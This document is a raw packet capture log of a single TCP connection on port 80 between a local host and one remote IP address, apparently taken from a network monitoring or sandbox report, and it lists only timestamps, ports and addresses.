Dec 18, 2024 19:08:49.962969065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.964685917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.964699030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.964740992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.964762926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.968734026 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.968806028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.968854904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.968895912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.973929882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.973982096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.974369049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.974404097 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.978420019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.978481054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.978840113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.978880882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.983022928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.983083010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.983179092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.983217001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.987735987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.987790108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.988157988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.988193989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.995296955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.995361090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.995451927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:49.995493889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:49.999984026 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.000047922 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.000322104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.000370026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.004390955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.004437923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.004862070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.004909039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.006093025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.006136894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.006194115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.006226063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.010879993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.010891914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.010936022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.018574953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.018627882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.018732071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.018767118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.023262024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.023320913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.023700953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.023740053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.025317907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.025355101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.025506973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.025538921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.029460907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.029504061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.029622078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.029653072 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.034178972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.034234047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.034327984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.034364939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.038713932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.038726091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.038770914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.044210911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.044224024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.044274092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.047821045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.047877073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.048439026 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.048484087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.052793026 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.052824974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.052850008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.052871943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.057240009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.057296038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.057307959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.057344913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.061677933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.061738968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.061754942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.061794043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.066234112 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.066303015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.066570997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.066615105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.070858002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.070930004 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.071145058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.071193933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.075508118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.075579882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.075617075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.075656891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.080203056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.080271959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.080302954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.080360889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.084801912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.084847927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.085104942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.085144043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.089562893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.089643955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.089672089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.089720011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.094223022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.094289064 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.094856024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.094896078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.098896980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.098946095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.099832058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.099870920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.102612972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.102670908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.102708101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.102747917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.106817007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.106867075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.106952906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.106987953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.109966040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.110012054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.112402916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.112451077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.113784075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.113831997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.114274979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.114315033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.117383003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.117428064 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.117496014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.117533922 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.121258020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.121309042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.121335983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.121375084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.124810934 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.124857903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.124896049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.124929905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.128509998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.128556013 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.128617048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.128650904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.132230997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.132286072 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.133078098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.133116961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.135983944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.136024952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.136116982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.136149883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.139676094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.139717102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.139789104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.139823914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.143434048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.143487930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.143862963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.143912077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.147136927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.147181034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.147576094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.147612095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.150861025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.150911093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.151010036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.151051998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.154664993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.154715061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.156105995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.156148911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.158499956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.158541918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.158910036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.158945084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.162085056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.162128925 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.162348032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.162385941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.165811062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.165843010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.165853977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.165879011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.169516087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.169559002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.169684887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.169718027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.173186064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.173242092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.173620939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.173657894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.176924944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.176983118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.177035093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.177076101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.180603981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.180691957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.181108952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.181148052 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.184386015 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.184437037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.184461117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.184493065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.188138008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.188189983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.188759089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.188797951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.191767931 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.191834927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.191855907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.191889048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.195470095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.195525885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.195977926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.196016073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.199208975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.199264050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.199337006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.199381113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.202955008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.203017950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.203047037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.203084946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.206753016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.206799030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.207108974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.207140923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.210475922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.210521936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.210841894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.210879087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.214032888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.214076042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.214329958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.214366913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.217884064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.217940092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.218585014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.218626022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.221458912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.221494913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.222493887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.222536087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.225475073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.225522995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.226006031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.226047993 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.229005098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.229057074 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.229196072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.229231119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.232577085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.232614040 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.232620001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.232645988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.236269951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.236318111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.236350060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.236382008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.239867926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.239913940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.241053104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.241092920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.243657112 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.243669033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.243701935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.247277975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.247323036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.247349977 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.247386932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.250956059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.251012087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.251051903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.251096964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.254637003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.254650116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.254690886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.254719019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.258182049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.258235931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.258667946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.258723974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.261759043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.261806011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.261917114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.261959076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.265496969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.265508890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.265557051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.268930912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.268980026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.269108057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.269143105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.272732019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.272778988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.273698092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.273735046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.276211023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.276222944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.276257038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.276279926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.279903889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.279952049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.280006886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.280047894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.285588980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.285762072 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.285789967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.285830975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.291387081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.291430950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.291716099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.291752100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.297137022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.297183037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.297475100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.297514915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.303004980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.303088903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.303169012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.303208113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.307919025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.307971001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.308157921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.308197975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.311742067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.311785936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.311790943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.311821938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.315654039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.315665007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:50.315721035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:50.319377899 CET	80	49739	31.41.244.11	192.168.2.5
